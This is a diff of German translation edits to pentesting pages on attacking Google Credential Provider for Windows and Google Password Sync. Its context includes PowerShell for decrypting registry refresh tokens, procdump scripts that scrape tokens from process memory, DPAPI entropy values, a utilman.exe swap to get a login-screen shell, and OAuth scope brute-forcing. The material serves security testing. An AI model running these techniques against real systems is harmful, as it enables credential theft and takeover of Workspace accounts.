b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md @@ -4,7 +4,7 @@ ## Grundlegende Informationen -Dies ist die Single Sign-On-Lösung, die Google Workspaces bereitstellt, damit Benutzer sich mit **ihren Workspace-Anmeldeinformationen** an ihren Windows-PCs anmelden können. Darüber hinaus werden Tokens zum Zugriff auf Google Workspace an einigen Stellen im PC gespeichert. +Dies ist die Single Sign-On-Lösung, die Google Workspaces bereitstellt, damit Benutzer sich mit **ihren Workspace-Anmeldeinformationen** an ihren Windows-PCs anmelden können. Darüber hinaus werden Tokens zur Zugriff auf Google Workspace an einigen Stellen im PC gespeichert. > [!TIP] > Beachten Sie, dass [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) in der Lage ist, **GCPW** zu erkennen, Informationen über die Konfiguration zu erhalten und **sogar Tokens**. @@ -27,8 +27,6 @@ scope=https://www.google.com/accounts/OAuthLogin &device_id=d5c82f70-71ff-48e8-94db-312e64c7354f &device_type=chrome ``` -Neue Zeilen wurden hinzugefügt, um die Lesbarkeit zu verbessern. - > [!NOTE] > Es war möglich, einen MitM durch die Installation von `Proxifier` auf dem PC durchzuführen, indem die `utilman.exe`-Binärdatei mit einer `cmd.exe` überschrieben und die **Zugänglichkeitsfunktionen** auf der Windows-Anmeldeseite ausgeführt wurden, die eine **CMD** ausführt, von der aus Sie **Proxifier starten und konfigurieren** können.\ > Vergessen Sie nicht, den **QUICK UDP**-Verkehr in `Proxifier` zu blockieren, damit er auf TCP-Kommunikation herabgestuft wird und Sie ihn sehen können. @@ -40,7 +38,7 @@ Darüber hinaus ist es möglich, durch Hinzufügen der Schlüssel `enable_verbos ### GCPW - Fingerabdruck Es ist möglich zu überprüfen, ob GCPW auf einem Gerät installiert ist, indem überprüft wird, ob der folgende Prozess existiert oder ob die folgenden Registrierungsschlüssel existieren: -```powershell +```bash # Check process gcpw_extension.exe if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) { Write-Output "The process gcpw_xtension.exe is running." @@ -110,8 +108,8 @@ Innerhalb der Registry **`HKCU:\SOFTWARE\Google\Accounts`** könnte es möglich
-Daten von HKCU:\SOFTWARE\Google\Accounts abrufen und refresh_tokens entschlüsseln -```powershell +Hole HKCU:\SOFTWARE\Google\Accounts Daten und entschlüssle refresh_tokens +```bash # Import required namespace for decryption Add-Type -AssemblyName System.Security @@ -165,7 +163,7 @@ Get-RegistryKeysAndDecryptTokens -keyPath $baseKey ``` Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI ``` -Wie in [**diesem Video**](https://www.youtube.com/watch?v=FEQxHRRP_5I) erklärt, wenn Sie das Token in der Registrierung nicht finden, ist es möglich, den Wert zu ändern (oder zu löschen) von **`HKLM:\SOFTWARE\Google\GCPW\Users\\th`** und beim nächsten Zugriff des Benutzers auf den Computer muss er sich erneut anmelden und das **Token wird in der vorherigen Registrierung gespeichert**. +Wie in [**diesem Video**](https://www.youtube.com/watch?v=FEQxHRRP_5I) erklärt, wenn Sie das Token in der Registrierung nicht finden, ist es möglich, den Wert (oder zu löschen) von **`HKLM:\SOFTWARE\Google\GCPW\Users\\th`** zu ändern, und beim nächsten Zugriff des Benutzers auf den Computer muss er sich erneut anmelden, und das **Token wird in der vorherigen Registrierung gespeichert**. ### GCPW - Disk Refresh Tokens @@ -186,8 +184,8 @@ Das folgende Skript kann verwendet werden, um jeden **Chrome**-Prozess mit `proc
-Dump Chrome-Prozesse und nach Tokens suchen -```powershell +Dump Chrome-Prozesse und suche nach Tokens +```bash # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe" @@ -262,11 +260,11 @@ Remove-Item -Path $dumpFolder -Recurse -Force Ich habe dasselbe mit `gcpw_extension.exe` versucht, aber es wurde kein Token gefunden. -Aus irgendeinem Grund sind **einige extrahierte Zugriffstoken ungültig (obwohl einige gültig sein werden)**. Ich habe das folgende Skript ausprobiert, um Zeichen 1 nach dem anderen zu entfernen, um zu versuchen, den gültigen Token aus dem Dump zu erhalten. Es hat mir nie geholfen, einen gültigen zu finden, aber ich schätze, es könnte: +Aus irgendeinem Grund sind **einige extrahierte Zugriffstoken ungültig (obwohl einige gültig sein werden)**. Ich habe das folgende Skript ausprobiert, um Zeichen 1 für 1 zu entfernen, um zu versuchen, den gültigen Token aus dem Dump zu erhalten. Es hat mir nie geholfen, einen gültigen zu finden, aber ich schätze, es könnte:
-Zugriffstoken überprüfen, indem Zeichen 1 nach dem anderen entfernt werden +Zugriffstoken überprüfen, indem Zeichen 1 für 1 entfernt werden ```bash #!/bin/bash @@ -314,7 +312,7 @@ https://www.googleapis.com/oauth2/v4/token > [!NOTE] > Beachten Sie, dass es selbst mit einem Refresh-Token nicht möglich ist, einen beliebigen Scope für das Access-Token anzufordern, da Sie nur die **Scopes anfordern können, die von der Anwendung unterstützt werden, in der Sie das Access-Token generieren**. > -> Außerdem ist der Refresh-Token nicht in jeder Anwendung gültig. +> Außerdem ist das Refresh-Token nicht in jeder Anwendung gültig. Standardmäßig hat GCPW nicht als Benutzer Zugriff auf jeden möglichen OAuth-Scope. Mit dem folgenden Skript können wir die Scopes finden, die mit dem `refresh_token` verwendet werden können, um ein `access_token` zu generieren: @@ -348,7 +346,7 @@ Und dies ist die Ausgabe, die ich zum Zeitpunkt des Schreibens erhalten habe:
-Brute-forced Scopes +Brute-forced scopes ``` https://www.googleapis.com/auth/admin.directory.user https://www.googleapis.com/auth/calendar @@ -463,12 +461,12 @@ https://www.googleapis.com/auth/wallet.chrome ```
-Beachten Sie, dass das möglicherweise das interessanteste ist: +Beachten Sie, dass das interessanteste möglicherweise ist: ```c // OAuth2 scope for access to all Google APIs. const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api"; ``` -Ich habe jedoch versucht, diesen Scope zu verwenden, um auf Gmail zuzugreifen oder Gruppen aufzulisten, und es hat nicht funktioniert, also weiß ich nicht, wie nützlich es noch ist. +Ich habe jedoch versucht, diesen Scope zu verwenden, um auf Gmail zuzugreifen oder Gruppen aufzulisten, und es hat nicht funktioniert, daher weiß ich nicht, wie nützlich er noch ist. **Erhalten Sie ein Zugriffstoken mit all diesen Scopes**: @@ -587,11 +585,11 @@ https://www.googleapis.com/oauth2/v4/token ```
-Einige Beispiele, die einige dieser Bereiche verwenden: +Einige Beispiele, die einige dieser Scopes verwenden:
-https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile +https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile ```bash curl -X GET \ -H "Authorization: Bearer $access_token" \ @@ -763,7 +761,7 @@ curl -X POST \ **Google Workspace Vault** ist ein Add-on für Google Workspace, das Werkzeuge für die Datenaufbewahrung, -suche und -export für die Daten Ihrer Organisation bietet, die in Google Workspace-Diensten wie Gmail, Drive, Chat und mehr gespeichert sind. - Ein **Matter** in Google Workspace Vault ist ein **Container**, der alle Informationen zu einem bestimmten Fall, einer Untersuchung oder einer rechtlichen Angelegenheit organisiert und gruppiert. Er dient als zentrales Hub für die Verwaltung von **Holds**, **Searches** und **Exports**, die sich auf dieses spezielle Thema beziehen. -- Ein **Hold** in Google Workspace Vault ist eine **Bewahrungsmaßnahme**, die auf bestimmte Benutzer oder Gruppen angewendet wird, um die **Löschung oder Änderung** ihrer Daten innerhalb der Google Workspace-Dienste zu **verhindern**. Holds stellen sicher, dass relevante Informationen während eines rechtlichen Falls oder einer Untersuchung intakt und unverändert bleiben. +- Ein **Hold** in Google Workspace Vault ist eine **Erhaltungsmaßnahme**, die auf bestimmte Benutzer oder Gruppen angewendet wird, um die **Löschung oder Änderung** ihrer Daten innerhalb der Google Workspace-Dienste zu **verhindern**. Holds stellen sicher, dass relevante Informationen während eines rechtlichen Falls oder einer Untersuchung intakt und unverändert bleiben. ```bash # List matters curl -X GET \ diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md index 8ea0e2dc0..d4cae3663 100644 --- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md +++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md @@ -10,9 +10,9 @@ Es wird in `C:\Program Files\Google\Password Sync` installiert, wo Sie die Binä ### GPS - Konfiguration -Um diese Binärdatei (und den Dienst) zu konfigurieren, ist es notwendig, **Zugriff auf ein Super Admin-Konto in Workspace** zu gewähren: +Um diese Binärdatei (und den Dienst) zu konfigurieren, ist es notwendig, **ihm Zugriff auf ein Super Admin-Konto in Workspace** zu gewähren: -- Anmeldung über **OAuth** mit Google, danach wird **ein Token im Registrierungseditor (verschlüsselt)** gespeichert +- Anmeldung über **OAuth** mit Google, danach wird **ein Token im Registrierungseditor (verschlüsselt) gespeichert** - Nur verfügbar auf Domänencontrollern mit GUI - Bereitstellung von **Service Account-Anmeldeinformationen von GCP** (json-Datei) mit Berechtigungen zur **Verwaltung der Workspace-Benutzer** - Sehr schlechte Idee, da diese Anmeldeinformationen niemals ablaufen und missbraucht werden könnten @@ -36,7 +36,7 @@ Das verschlüsselte **Passwort** (falls vorhanden) befindet sich im Schlüssel * Das verschlüsselte Token (falls vorhanden) befindet sich im Schlüssel **`AuthToken`** und ist mit der **`CryptProtectData`** API verschlüsselt. Um es zu entschlüsseln, müssen Sie der gleiche Benutzer sein wie der, der die Passwortsynchronisierung konfiguriert hat, und diese **Entropie** verwenden, wenn Sie die **`CryptUnprotectData`** verwenden: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\ Darüber hinaus ist es auch mit base32hex unter Verwendung des Wörterbuchs **`0123456789abcdefghijklmnopqrstv`** codiert. -Die Entropiewerte wurden mit dem Tool gefunden. Es wurde konfiguriert, um die Aufrufe von **`CryptUnprotectData`** und **`CryptProtectData`** zu überwachen, und dann wurde das Tool verwendet, um `PasswordSync.exe` zu starten und zu überwachen, das das konfigurierte Passwort und das Auth-Token zu Beginn entschlüsselt, und das Tool wird **die Werte für die verwendete Entropie** in beiden Fällen **anzeigen**: +Die Entropiewerte wurden mit dem Tool gefunden. Es wurde konfiguriert, um die Aufrufe von **`CryptUnprotectData`** und **`CryptProtectData`** zu überwachen, und dann wurde das Tool verwendet, um `PasswordSync.exe` zu starten und zu überwachen, das das konfigurierte Passwort und das Auth-Token zu Beginn entschlüsseln wird, und das Tool wird **die Werte für die verwendete Entropie** in beiden Fällen **anzeigen**:
@@ -52,7 +52,7 @@ Ich nehme an, Sie könnten auch die konfigurierten AD-Anmeldeinformationen finde
Dump PasswordSync.exe und die password_sync_service.exe Prozesse und suche nach Tokens -```powershell +```bash # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe" @@ -144,7 +144,7 @@ https://www.googleapis.com/oauth2/v4/token > > Außerdem ist das Refresh-Token nicht in jeder Anwendung gültig. -Standardmäßig hat GPS nicht als Benutzer Zugriff auf jeden möglichen OAuth-Scope, daher können wir mit dem folgenden Skript die Scopes finden, die mit dem `refresh_token` verwendet werden können, um ein `access_token` zu generieren: +Standardmäßig hat GPS nicht als Benutzer Zugriff auf jeden möglichen OAuth-Scope. Mit dem folgenden Skript können wir die Scopes finden, die mit dem `refresh_token` verwendet werden können, um ein `access_token` zu generieren:
@@ -176,7 +176,7 @@ Und dies ist die Ausgabe, die ich zum Zeitpunkt des Schreibens erhalten habe: ``` https://www.googleapis.com/auth/admin.directory.user ``` -Welches dasselbe ist, das Sie erhalten, wenn Sie keinen Geltungsbereich angeben. +Welche dasselbe ist, was Sie erhalten, wenn Sie keinen Geltungsbereich angeben. > [!CAUTION] > Mit diesem Geltungsbereich könnten Sie **das Passwort eines bestehenden Benutzers ändern, um Privilegien zu eskalieren**.